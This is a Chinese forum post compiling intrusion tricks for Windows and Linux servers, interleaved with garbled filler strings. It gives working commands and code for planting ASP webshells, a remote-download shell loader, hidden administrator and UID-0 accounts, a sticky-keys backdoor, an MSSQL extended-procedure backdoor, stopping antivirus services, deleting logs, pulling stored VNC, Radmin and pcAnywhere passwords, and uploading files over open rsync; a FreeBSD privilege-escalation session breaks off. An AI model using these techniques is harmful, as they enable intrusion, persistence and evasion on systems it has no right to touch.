渗透技巧总结

admin

旁站路径问题
" c! X+ P7 t" h4 z7 ^1 f1、读网站配置。
2、用以下VBS
On Error Resume Next
7 z: A1 o& m3 E' ~$ OIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
- @1 F% P4 _6 V: A3 n
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
1 m; A: N) c3 P0 ZSet ObjService=GetObject

7 q$ G! ]* \9 o0 t  M4 j) U3 }("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
" K# ~- y; Y/ G9 `+ r                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
, }7 Z/ O! u4 }7 z4 C! v& V0 e
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
$ p4 i+ D7 ~- [1 w/ |
<> 0 Then WScript.Quit (1)
$ }4 U* c) L# F                WScript.Echo Chr(10) & "[" &
+ J) v7 j4 q# t! B( ]+ _
OService.ServerComment & "]"
$ n- M) G3 F+ |( I0 K9 `/ N                For Each Binds In OService.ServerBindings
8 g5 \) v+ ]5 ?$ w7 S     
+ J8 A9 W0 m& E
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

+ b- w* d0 i, Z# dWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
6 ?1 m& i) s9 H
         WScript.Echo "ath            : " & VDirObj.Path
        End If
  W' C+ d' i2 ]7 @3 E9 E/ X: nNext
复制代码
0 {5 s$ N/ R# J; A# r5 B3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
2 A) b6 z% V: ]phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
9 `1 k' o" |0 N% U9 w/ WphpMyAdmin/darkblue_orange/layout.inc.php
& [% L1 {/ x" Q& G: x. i+ BphpMyAdmin/index.php?lang[]=1
+ V. T3 |& \# a! R3 p- Tphpmyadmin/themes/darkblue_orange/layout.inc.php
% \  L7 H5 ^. I5 E————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
$ ?$ W/ G# }; h————————————————————
+ W% Y6 x% A; F' }CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
& f/ h3 Q, D0 [& G. f9 O* j- s* Cnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
/ x# \5 }5 x1 _" y6 d+ p, \netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
2 }+ I/ W- ^* h! B$ m* ?————————————————————
命令行下添加SQL用户的方法
+ c) x# S$ d- m* L/ D需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
% z+ r: P( |3 S5 f然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
4 u( ^' T! u7 \+ j, A2 g
9 J) r- y0 i0 K; n+ I: f/ h另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
3 V# b  A; I' Evar o=new ActiveXObject( "Shell.Users" );
1 f% j0 Z1 r" v3 ~8 A9 jz=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
: M3 Q/ k' E0 q2 C0 ?& o8 M/ e
' E) T' |& c1 X; M" jvbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
* G- z4 H% C" M8 @z.setting("AccountType")=3
3 o' D$ \3 @8 V——————————————————
) Q. T( `0 k) y# J' x- xcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
) w- K  G9 z: W& M% x* |' v
/ o8 [% b( P  q9 P' D$ G8 N. o命令如下
9 V3 z7 e$ n6 Xcacls c: /e /t /g everyone:F           #c盘everyone权限
$ p$ C& g! ?. Bcacls "目录" /d everyone               #everyone不可读，包括admin
  k/ H% `( h9 g+ X$ v————————以下配合PR更好————
  j/ t1 e3 q( V9 O" B3 k5 H3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
  R9 x( n8 A! o4 [! Z9 U* K  x; _c、终端服务器超出了最大允许连接
2 i# F* J; i6 zXP 运行mstsc /admin
2003 运行mstsc /console   
" f+ x, ~; b+ t
6 k2 c4 n* g* W. P$ I杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
1 h* N, O8 B  F; m& w& Tnet stop "Symantec AntiVirus" /y
$ u' i1 d  {0 Z4 \) Vnet stop "Symantec AntiVirus Definition Watcher" /y
* b5 @3 L' q& ^! C2 {& X3 j3 [8 `net stop "Symantec Event Manager" /y
: _+ |  W% o9 t( Cnet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
' Y; v( M! z- Y- ?* B, _/ O1 j  g————————————————————
+ \1 I7 I1 I% v7 ^+ D' Z
5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
; N% w1 [% p0 v( }1 A7 tcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
, o& ]6 y" Z- Y: B# D——————————————————————
隐藏账号添加：
+ F( [7 Z; D& f% n8 H1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
) D. l! k) s/ `. s* U3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
( u+ K* c9 Q, Q: A9 H. E1 ~& c——————————————————————
MSSQL扩展后门：
USE master;
1 N5 Q) J' w$ G* \" ~7 yEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
0 t; o5 X$ h+ P# S8 `- n———————————————————————
: T4 ^' o! f8 ~1 \& Q! t/ d% z日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
7 a! ]' x( [- W: n: r不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

# w0 {/ P& S! Z! f! xMSSQL查询分析器连接记录清除：
6 ~4 q0 j6 }  n& I! ]% qMSSQL 2000位于注册表如下：
  G  f3 p4 F3 l% q  c/ OHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
2 X; B+ \8 Z  k$ @9 \% X8 ~. S找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

) H2 \# b* I# l: Y6 T3 r; ~- o8 iServer\90\Tools\Shell\mru.dat
2 C$ G* O9 b( b  Q—————————————————————————
" T+ y  c4 J# W* u1 n* D+ _1 u防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
  q/ M7 V; z  B0 l3 [
0 d3 K0 c- p- f& d2 k& R; f3 c' \+ ~<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
* U4 |$ F/ H$ h% J$ S1 |$ ?8 j8 s5 ~.Send
GetRemoteData = .ResponseBody
& T* J- d  P' o" q% c( `$ jEnd With
Set Retrieval = Nothing
5 t* K- S- n+ g9 {) ]" t# aSet Ads = Server.CreateObject("Adodb.Stream")
/ w8 @- ]2 |2 {With Ads
.Type = 1
& {& Z! k4 }5 e% M% z  N: ^( T$ ?4 X.Open
.Write GetRemoteData
2 w: r8 s( w- i6 m1 d.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
End With
3 E+ R/ v5 z5 X$ ~Set Ads=nothing
End Sub
6 f. [) C7 F  x3 |; c  C# c9 t* z
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
( d4 R3 ~5 k: ^; ]! O0 M%>

; P4 e& L0 ^' V$ Q; `) ^4 dVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
- H! g- w1 j3 H' ]regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
8 l8 @6 O4 W' F6 L8 n: uRadmin 默认端口是4899，
+ U4 _4 u7 z8 J* n3 y5 _HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
' f3 A( D  x( k+ `4 i; j9 B. i如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
' t) \9 F& r9 y: I- e/ ]保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
& P3 M  P+ X% D) b# AUsers\Application Data\Symantec\pcAnywhere\文件夹下。
# G  N) `5 M  r8 n$ M——————————————————————
3 i# ~; G8 e4 N, G4 t4 A搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
( c! L" q/ n  n5 D$ t: i没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
2 {  m. i( L# N
" ]0 ?4 }# ]& R( G1433 SA点构建注入点。
- v# B+ M2 @) d6 `' f<%
) S: J. M5 J; K0 Q: P) Z% H& astrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
- Z3 Y8 x5 {) I; y) O- TstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
: {! ]2 X, B( j6 c2 [Set conn = Server.createObject("ADODB.Connection")
) G; L  {+ `" }- LstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
9 G2 L3 Z% Z1 ~
5 ~- g( z" G& b6 b; f) m5 l9 q";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
$ B9 O- Y) e; V
3 ^2 {& @  H  \- r* p2 ^- k( \3 GstrSQLDBName & ";"
$ f* B- x1 z- h- r1 sconn.open strCon
dim rs,strSQL,id
9 c9 j, k! y1 _+ l; _* b  H6 Aset rs=server.createobject("ADODB.recordset")
( E- w) s" o+ ~$ e% p; R. D4 Kid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
" [3 l1 n7 ]  f6 p- I6 Ers.close
) _4 J1 M3 a' f8 [, Q%>
复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
5 W  Q" s( m+ [: E看看密码登录策略我们可以看到使用了file ldap模式
1 t0 S+ w4 b  D* G' _
! z7 ~( \7 K9 o( w- j7 O2.less /etc/ldap.conf
! d. n0 F/ D1 d* U' M$ l6 P; Vbase ou=People,dc=unix-center,dc=net
4 Y$ u  R) _) _) H- A/ r找到ou,dc,dc设置

3.查找管理员信息
匿名方式
& }. L: C  G, h, M9 t, k6 f) \ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
5 f. i3 j! ^" Y) J% f6 ^
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


: m$ }1 R* B0 Z2 @9 `8 a) ^$ x4.查找10条用户记录
2 Y; L& C: k+ Lldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
1.cat /etc/nsswitch
! ?8 m9 h) z7 U9 Y0 k看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
8 L, G" |7 p2 w# f
$ p/ Y" a- b" |9 l- j2 @3.查找管理员信息
匿名方式
9 A; Z: p- D. D( f  W8 y% a: sldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

7 h# O. l; }) j- [0 x( a* U"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
& L- C" |$ A# K5 Y" Y  G8 {7 {ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

# @9 D/ Z- r2 L8 \) |( F; g"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

7 w* o  F& Y) e& G
4.查找10条用户记录
/ E0 R9 K0 g' ~9 i7 rldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

) L6 e; R7 X3 s% _% d渗透实战:
: R; p8 H; d0 p0 `" V1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
) @7 `) t: }8 xdc: ruc
8 u! L: A* X! tobjectClass: domain
+ W9 \8 t" _; R6 Q7 R( @% O0 @3 B
1 J0 N4 t3 h' t. Y& E% Ydn: uid=manager,dc=ruc,dc=edu,dc=cn
& f- \+ r6 T' ]3 m7 J2 Nuid: manager
8 k7 C( u  b  eobjectClass: inetOrgPerson
objectClass: organizationalPerson
. T9 }' ~) O/ P3 A+ v4 c* g, EobjectClass: person
objectClass: top
2 O, I% V- [2 c0 W: H, ~4 o  M* Esn: manager
$ n0 S" r  f  P7 U2 l. kcn: manager
* U  k1 B$ c+ E6 y, e3 g
! B; b& n& I$ _8 {4 ?9 ldn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
0 ?, v& f% F5 J7 u  f5 hobjectClass: organizationalPerson
objectClass: person
2 u9 F: r6 x9 c" V0 f, d. X3 t, eobjectClass: top
sn: superadmin
cn: superadmin
; _# M/ S( D, c$ @4 i
dn: uid=admin,dc=ruc,dc=edu,dc=cn
4 f. e7 N$ r8 luid: admin
objectClass: inetOrgPerson
4 Y- k9 D3 n6 h. s- oobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: admin
cn: admin
+ Y2 C  ?# y& A; f% P4 P
( i6 e( p% U* y2 Ndn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
1 F( |7 L7 ^* D9 `4 o2 t: guid: dcp_anonymous
objectClass: top
' r" g3 `1 V( c9 W9 CobjectClass: person
5 q3 ]1 j$ {% w2 A( N& E. Q# KobjectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous
9 J! `* Q$ @/ r
2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

+ j6 d' e" b) Ymore
version: 1
dn: dc=ruc,dc=edu,dc=cn
. `. X* M$ h$ ]  o- Rdc: ruc
objectClass: domain

$ v" |3 N* e, q0 v3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
  c! ^8 J/ o. i1 B: h' N3 H/ `0 l0 [version: 1
dn:
) D: |( @4 F- b8 ?5 _/ }, B! q$ B/ gobjectClass: top
: G8 H  }% M, R0 [2 hnamingContexts: dc=ruc,dc=edu,dc=cn
& Q' Q  N/ U7 x7 ?; a# G  z$ tsupportedExtension: 2.16.840.1.113730.3.5.7
2 [6 m# I2 c- U. L- m1 t3 ssupportedExtension: 2.16.840.1.113730.3.5.8
" F& c1 W3 n1 \+ ]0 i5 X; Q0 ssupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
+ H! e) S- B( m6 X1 UsupportedExtension: 2.16.840.1.113730.3.5.3
; b( R8 z9 [1 r+ o% OsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
& K6 f* ?  j: J4 e) g0 KsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
/ e! y. q$ T! p8 {' V5 B9 m( x0 `. M$ L& TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
7 h( @( {& u$ L' b9 QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
+ l1 a! B' o9 M; m; O/ C! xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
( |% _& N# k# s( n8 asupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
) \1 X' ?3 |2 D* \% FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
/ g5 Z2 J* o+ J) a6 _# `2 DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
& e- z$ E, [1 l! x& S$ Y, F6 ?supportedExtension: 1.3.6.1.4.1.1466.20037
2 F. m2 ]6 w. vsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
( m7 U* a5 X2 T* ~( U) [3 V0 MsupportedControl: 2.16.840.1.113730.3.4.4
8 p* c+ Q7 Y) l- {supportedControl: 2.16.840.1.113730.3.4.5
+ k9 N/ D& L( n5 ~6 U4 QsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
+ q+ W. }( c- OsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
4 F( Z9 m7 |, usupportedControl: 2.16.840.1.113730.3.4.19
) o$ B- J3 H, m& F- p. b) r! f' [supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
! d) ?- h1 B2 y$ xsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
9 N( E3 v1 F' b$ n9 n7 y& c5 e' vsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
6 }# Y1 I; n' A" c; L- j" {supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
) k2 a4 k+ U1 S* ?supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
0 l( d4 E, Z" o7 C! BsupportedSASLMechanisms: EXTERNAL
/ @' m5 N& D" M8 O4 dsupportedSASLMechanisms: DIGEST-MD5
  l: w0 T! X- L5 g6 b& G# O5 FsupportedLDAPVersion: 2
supportedLDAPVersion: 3
4 S1 Q" H4 }8 |! Z' M/ m. PvendorName: Sun Microsystems, Inc.
( k7 Q) V: ^( \* ]9 z* d/ {2 \vendorVersion: Sun-Java(tm)-System-Directory/6.2
) F+ u7 L% Z1 E# t9 idataversion: 020090516011411
  ?: W  T( O: u1 T" Knetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
/ g: W! {5 o4 s9 g: z# [# XsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
9 w- d, h# F+ f0 x$ KsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
( j; [" T2 ?! T2 qsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
  i8 v. ^# X: D3 s$ [3 c: XsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
# Q+ s% ?5 Q& S* x1 g/ ksupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
2 W. y9 j4 [7 j" Q( ]supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
) m, [% M& r# ^' D1 qsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
1 L5 K3 z' D1 f3 osupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
, x3 a( |! A2 e: n9 ^' VsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
1 |8 ]" c& w: R" F& }supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
5 }! ]4 H- x* r- F; |/ fsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
& u( C- \+ a7 E, n& k( ^supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
# l4 M6 f% h' A  qsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
, m* @6 Q$ Z9 VsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
6 Z/ R  ?) a+ Y( B' ~supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
( E% S5 x: z; d0 ]4 r! v7 {supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
5 [' K' O4 J6 b7 F/ _* g8 f) {supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
: r7 k3 y; P2 D& f: Y* I0 zsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
& |3 V! o0 F" E. ZsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
+ Q( v8 t/ U+ J8 L6 K( O! [supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
: u* w' J8 w: G5 k6 O9 t- WsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
6 x# C3 D$ s1 v+ o3 usupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
! j  P3 H: n) z2 isupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
  {+ b( U" N+ a4 KsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
0 e1 T' W/ W7 {2 nsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
: u8 U3 p* O2 b2. NFS渗透技巧
' g6 v8 _: V  I" p* |showmount -e ip
列举IP
——————
  j: T, W# a/ N5 C( _. {3.rsync渗透技巧
( _# u: u4 A; H* G. ~" r1.查看rsync服务器上的列表
2 B1 m- c6 w9 ~2 }. yrsync 210.51.X.X::
finance
2 Q- ~0 B* V9 Timg_finance
auto
5 f3 V% [+ s$ e* _% {( U2 S  dimg_auto
3 A1 L- i; A+ ehtml_cms
img_cms
+ a/ P, }1 y5 T. D* a+ fent_cms
6 _% d7 L9 y, V2 N# I5 jent_img
4 j( V3 P8 F# Y; mceshi
$ t& O) V9 ^3 Ires_img
" L) j! \# ^: S5 D& V: p) s9 C8 {2 Mres_img_c2
chip
chip_c2
ent_icms
4 r9 j6 o2 Y8 X0 Ggames
4 [0 w# |% ^% K2 |7 w( Agamesimg
2 S$ z8 q  l+ q% ^6 @5 Z; x8 Umedia
mediaimg
0 F% Q# s( T* a+ |fashion
res-fashion
: z  J# l6 K, U. ~) k- _+ P" Gres-fo
taobao-home
+ n) a/ R! }0 l2 B. v; _res-taobao-home
9 w. _3 H) I+ ~: k6 I& rhouse
& _. ^" S+ O/ Z, P( C6 z8 tres-house
res-home
/ e& w  a' m/ f  T7 }# ares-edu
: \7 z: y0 D% M8 D' Ores-ent
+ E, o4 F& U9 e2 c2 X+ c+ ores-labs
- v! G% c' X& Q, H4 Hres-news
' F7 N3 m$ q! P+ ~. x4 F0 Pres-phtv
res-media
home
+ M+ j5 h6 z/ j7 G, H' fedu
6 c7 ^* t/ ~, `9 y5 J8 F8 Snews
, N9 x% v  W4 m3 ], Lres-book
; J$ O  I. N0 n( [3 Y% P2 B
! W5 d$ r; C9 [. I* f* t看相应的下级目录(注意一定要在目录后面添加上/)
  u1 {# F/ c- c' y1 }+ h
8 ?( G2 A9 [0 c! L
, V0 X6 n6 f( F0 o3 frsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
7 G7 }8 H; D& K4 t2 f$ H
5 O" k8 c! D7 Z; _' _- Q( B2.下载rsync服务器上的配置文件
/ Y" {5 ^! ~4 i7 f1 b1 P; B) ?rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
* q4 T. B  }) h
3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
3 f: A4 U* P9 _) Q4 x% J
2 S, |! [7 Z* e9 {四.squid渗透技巧
nc -vv baidu.com 80
6 T: `) l: }* n2 b! U8 L" RGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
8 U9 A. w' L* _2 B; M; Xssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

# h4 t4 ?" `; Z0 @六.joomla渗透小技巧
确定版本
$ U) Y0 b' w( P; N5 b/ dindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
9 ~7 P6 Y" C0 B6 {7 K
' M6 W# H! g' s8 T重新设置密码
index.php?option=com_user&view=reset&layout=confirm
% ?# H( v; C. |) L9 N
七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
3 M( p" A5 J, }- F% G+ n1 b
八.freebsd本地提权
" Z7 w+ F# f0 E, G9 d$ F7 O[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
! S$ N- X4 e, c- r) ]3 s* o* [argp@julius ~]$ sysctl vfs.usermount
! U5 `0 Y$ d" I* vfs.usermount: 1
* h6 N- h/ @" R* F, z* [argp@julius ~]$ id
